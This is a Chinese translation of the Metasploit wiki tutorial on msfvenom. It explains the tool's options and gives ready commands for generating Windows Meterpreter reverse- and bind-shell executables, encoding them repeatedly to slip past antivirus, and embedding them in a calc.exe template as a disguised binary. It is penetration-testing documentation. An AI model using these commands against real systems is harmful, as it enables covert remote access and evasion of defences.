- 原文地址:https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom
- 作者:Metasploit Community
- 譯者:王一航 2018-06-10
- 校對:王一航 2018-06-10
Msfvenom 在 2015 年 6 月 8 日已經(jīng)替代了 msfpayload 與 msfenocde 命令首繁,它是這兩個命令的結(jié)合體卷胯。
為了開始使用 msfvenom米诉,可以首先瀏覽一下它所支持的命令參數(shù):
Options:
-p, --payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads
# 指定特定的 Payload,如果被設(shè)置為 - 圆兵,那么從標(biāo)準(zhǔn)輸入流中讀取
--payload-options List the payload's standard options
# 列出指定 Payload 的標(biāo)準(zhǔn)可選配置項(xiàng)
-l, --list [type] List a module type. Options are: payloads, encoders, nops, all
# 列出所有可用的項(xiàng)目,其中值可以被設(shè)置為 payloads, encoders, nops, all
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
# 指定 nop 在 payload 中的數(shù)量(譯者注:類似堆噴射中通過 nop 滑動到 payload)
-f, --format <format> Output format (use --help-formats for a list)
# 指定 Payload 的輸出格式
--help-formats List available formats
# 列出所有可用的輸出格式
-e, --encoder <encoder> The encoder to use
# 指定使用的 Encoder
-a, --arch <arch> The architecture to use
# 指定目標(biāo)系統(tǒng)架構(gòu)
--platform <platform> The platform of the payload
# 指定目標(biāo)系統(tǒng)平臺
--help-platforms List available platforms
# 列出可用的平臺
-s, --space <length> The maximum size of the resulting payload
# 設(shè)置未經(jīng)編碼的 Payload 的最大長度
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
# 編碼后的 Payload 的最大長度
-b, --bad-chars <list> The list of characters to avoid example: '\x00\xff'
# 設(shè)置需要在 Payload 中避免出現(xiàn)的字符
-i, --iterations <count> The number of times to encode the payload
# 設(shè)置 Payload 的編碼次數(shù)
-c, --add-code <path> Specify an additional win32 shellcode file to include
# 指定包含一個額外的win32 shellcode文件
-x, --template <path> Specify a custom executable file to use as a template
# 指定一個特定的可執(zhí)行文件作為模板
-k, --keep Preserve the template behavior and inject the payload as a new thread
# 保護(hù)模板程序的功能策泣,注入的payload作為一個新的進(jìn)程運(yùn)行
-o, --out <path> Save the payload
# 保存 Payload 到文件
-v, --var-name <name> Specify a custom variable name to use for certain output formats
# 指定一個變量名
#(譯者注:當(dāng)添加 -f 參數(shù)的時候衙傀,例如 -f python,那么輸出為 python 代碼萨咕, payload 會被按行格式化為 python 代碼
# 追加到一個 python 變量中统抬,這個參數(shù)即為指定 python 變量的變量名)
--smallest Generate the smallest possible payload
# 盡可能生成最短的 Payload
-h, --help Show this message
# 幫助
如何生成 Payload
為了生成 Payload,你需要配置兩個必要的參數(shù)(-p 與 -f):
- -p 參數(shù)指定特定的 Payload
可以通過如下命令列出所有可以使用的 Payload
./msfvenom -l payloads
- -p 參數(shù)也支持使用 - 作為值來從標(biāo)準(zhǔn)輸入中讀取自定義的 Payload
cat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw
- -f 參數(shù)指定 Payload 的輸出格式
例如:
./msfvenom -p windows/meterpreter/bind_tcp -f exe
可以通過如下命令來查看所有支持的格式
./msfvenom --help-formats
下面是一個典型的 msfvenom 的使用案例:
$ ./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker's IP] lport=4444 -f exe -o /tmp/my_payload.exe
如何對 Payload 進(jìn)行編碼
默認(rèn)情況下,當(dāng)你使用 -b 選項(xiàng)(badchar 選項(xiàng))時聪建,編碼功能將自動啟動钙畔。 在其他情況下,您必須使用-e選項(xiàng)來開啟 Payload 編碼功能金麸,如下所示:
./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw
如下所示擎析,使用 -l 參數(shù)可以列出所有可用的編碼器(譯者注:encoder)
./msfvenom -l encoders
你也可以通過添加 -i 參數(shù)來將一個 Payload 編碼多次,有時候多次編碼可以繞過防病毒軟件的檢測(譯者注:俗稱免殺)挥下。
但是要知道的是:編碼并不能真正作為免殺的解決方案
./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3
避免使用某些字符(譯者注:例如某些情況下 Payload 中是不可以出現(xiàn) \x00 字符的)
-b 參數(shù)被設(shè)置的時候揍魂,它的值中描述的字符將會被避免出現(xiàn)在 Payload 中
當(dāng)這個參數(shù)被添加的時候,msfvenom 將會自動尋找合適的編碼器來編碼 Payload
./msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw
如何提供一個自定義的模板
默認(rèn)情況下棚瘟,msfvenom 使用保存在目錄 msf/data/templates 下的模板文件现斋。如果你想要選擇自己的模板,你可以使用 -x 參數(shù)來指定
./msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe
請注意:如果你想使用一個自定義的基于 64 位操作系統(tǒng)的模板偎蘸,那么請將 -f 參數(shù)中的 exe 修改為 exe-only
./msfvenom -p windows/x64/meterpreter/bind_tcp -x /tmp/templates/64_calc.exe -f exe-only > /tmp/fake_64_calc.exe
-x 參數(shù)經(jīng)常與 -k 參數(shù)成對出現(xiàn)庄蹋,這樣你就可以將模板中的 Payload 作為新線程運(yùn)行。
但是迷雪,目前這僅適用于較老的Windows機(jī)器限书,如 x86 Windows XP。
如何將 msfvenom 的輸出串聯(lián)起來(利用操作系統(tǒng)管道的重定向特性)
以前舊的 msfpayload
與 msfencode
經(jīng)常串聯(lián)使用章咧,并按照多種編碼順序排列倦西。msfvenom
也可以被這樣使用:
./msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.3 LPORT=4444 -f raw -e x86/shikata_ga_nai -i 5 | \
./msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | \
./msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o payload.exe